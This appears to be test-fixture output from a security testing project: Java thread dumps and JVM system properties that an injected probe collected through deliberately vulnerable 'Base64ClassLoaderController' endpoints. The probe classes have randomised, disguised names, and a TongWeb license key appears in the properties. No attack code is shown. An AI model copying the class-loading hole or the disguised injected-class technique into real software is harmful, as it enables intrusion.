at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:918)
at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:176)
at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.handle(AbstractNioChannel.java:445)
at io.netty.channel.nio.NioIoHandler$DefaultNioRegistration.handle(NioIoHandler.java:388)
at io.netty.channel.nio.NioIoHandler.processSelectedKey(NioIoHandler.java:596)
at io.netty.channel.nio.NioIoHandler.processSelectedKeysOptimized(NioIoHandler.java:571)
at io.netty.channel.nio.NioIoHandler.processSelectedKeys(NioIoHandler.java:512)
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:484)
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Signal Dispatcher" #11 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Reference Handler" #9 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:246)
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208)
"reactor-http-nio-3" #39 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
===========================================
StackClassNames:
com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController
com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58
io.netty.channel.AbstractChannelHandlerContext
io.netty.channel.CombinedChannelDuplexHandler
io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext
io.netty.channel.DefaultChannelPipeline
io.netty.channel.DefaultChannelPipeline$HeadContext
io.netty.channel.SingleThreadIoEventLoop
io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe
io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe
io.netty.channel.nio.NioIoHandler
io.netty.channel.nio.NioIoHandler$DefaultNioRegistration
io.netty.channel.nio.SelectedSelectionKeySetSelector
io.netty.handler.codec.ByteToMessageDecoder
io.netty.util.concurrent.FastThreadLocalRunnable
io.netty.util.concurrent.SingleThreadEventExecutor$5
io.netty.util.internal.ThreadExecutorMap$2
org.junit.ckpSo.ErrorEexqqHandler
org.springframework.boot.reactor.netty.NettyWebServer$1
reactor.core.publisher.BlockingSingleSubscriber
reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber
reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber
reactor.core.publisher.FluxMap$MapSubscriber
reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber
reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber
reactor.core.publisher.FluxPeek$PeekSubscriber
reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber
reactor.core.publisher.Mono
reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber
reactor.core.publisher.MonoCollect$CollectSubscriber
reactor.core.publisher.MonoFlatMap$FlatMapMain
reactor.core.publisher.Operators$BaseFluxToMonoOperator
reactor.core.publisher.Operators$MonoSubscriber
reactor.netty.channel.ChannelOperations
reactor.netty.channel.ChannelOperationsHandler
reactor.netty.channel.FluxReceive
reactor.netty.http.server.HttpServerOperations
reactor.netty.http.server.HttpTrafficHandler
@@ -0,0 +1,429 @@
# Generated At 2026-08-08 09:53:59
SystemProps:
java.specification.version: 17
sun.jnu.encoding: UTF-8
java.class.path: /app/app.jar
java.vm.vendor: Eclipse Adoptium
sun.arch.data.model: 64
java.vendor.url: https://adoptium.net/
server.tongweb.license.productKey: esRTevlz6wm/tpN/Cbl4CfU7xtHDelNBw/kd4O9uSO0=
user.timezone: Etc/UTC
server.tongweb.license.type: file
tongweb.home: /tmp/tongweb.8080.8749798371050316176
java.vm.specification.version: 17
os.name: Linux
TONGWEB_LICENSE_PATH: /tmp/tongweb-license2882431636653867657.dat
sun.java.launcher: SUN_STANDARD
user.country: US
sun.boot.library.path: /opt/java/openjdk/lib
sun.java.command: /app/app.jar
jdk.debug: release
sun.cpu.endian: little
user.home: /root
user.language: en
java.specification.vendor: Oracle Corporation
server.tongweb.license.ssl.enabled: false
java.version.date: 2025-10-21
java.home: /opt/java/openjdk
tongweb.base: /tmp/tongweb.8080.8749798371050316176
file.separator: /
java.vm.compressedOopsMode: Zero based
line.separator:
server.tongweb.license.productVersion: 7.0.E.6_P9
java.vm.specification.vendor: Oracle Corporation
java.specification.name: Java Platform API Specification
FILE_LOG_CHARSET: UTF-8
java.awt.headless: true
tongweb.useNaming: false
java.protocol.handler.pkgs: org.springframework.boot.loader
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
server.tongweb.license.tongWebEdition: Embed
server.tongweb.license.isSync: true
java.runtime.version: 17.0.17+10
user.name: root
path.separator: :
os.version: 7.0.14-orbstack-00374-gbbca68e8d741
java.runtime.name: OpenJDK Runtime Environment
file.encoding: UTF-8
java.vm.name: OpenJDK 64-Bit Server VM
java.vendor.version: Temurin-17.0.17+10
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
java.io.tmpdir: /tmp
java.version: 17.0.17
user.dir: /
os.arch: aarch64
java.vm.specification.name: Java Virtual Machine Specification
PID: 1
CONSOLE_LOG_CHARSET: UTF-8
native.encoding: UTF-8
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
server.tongweb.license.filePath: /tmp/tongweb-license2882431636653867657.dat
java.vm.info: mixed mode, sharing
java.vendor: Eclipse Adoptium
java.vm.version: 17.0.17+10
java.specification.maintenance.version: 1
sun.io.unicode.encoding: UnicodeLittle
java.class.version: 61.0
===========================================
ThreadStacks:
"Reference Handler" #2 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
"TongWeb-utility-2" #23 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-9" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-Acceptor" #36 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.accept(Native Method)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:498)
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:56)
at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:113)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6b458ca3
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.run(Thread.java:840)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
"http-nio-8080-exec-3" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-5" #29 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
at org.springframework.mcnFX.ErrorHladkHandler.toString(BasicInfoPrinter.java:26)
at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20)
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:207)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:152)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:884)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1081)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:974)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1011)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:575)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:643)
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:190)
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159)
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159)
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159)
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
at com.tongweb.container.core.StandardWrapperValve.invoke(StandardWrapperValve.java:151)
at com.tongweb.container.core.StandardContextValve.invoke(StandardContextValve.java:74)
at com.tongweb.container.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:457)
at com.tongweb.container.core.StandardHostValve.invoke(StandardHostValve.java:99)
at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78)
at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78)
at com.tongweb.container.core.StandardEngineValve.invoke(StandardEngineValve.java:57)
at com.tongweb.container.connector.CoyoteAdapter.service(CoyoteAdapter.java:324)
at com.tongweb.connector.http11.Http11Processor.service(Http11Processor.java:353)
at com.tongweb.connector.AbstractProcessorLight.process(AbstractProcessorLight.java:47)
at com.tongweb.connector.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:874)
at com.tongweb.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1721)
at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:37)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-7" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"TongTech-License-Executor" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-10" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-2" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-6" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-1" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-Poller" #35 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:735)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-8080-exec-8" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Notification Thread" #12 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"TongTech-License-Executor" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"DestroyJavaVM" #37 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"http-nio-8080-exec-4" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
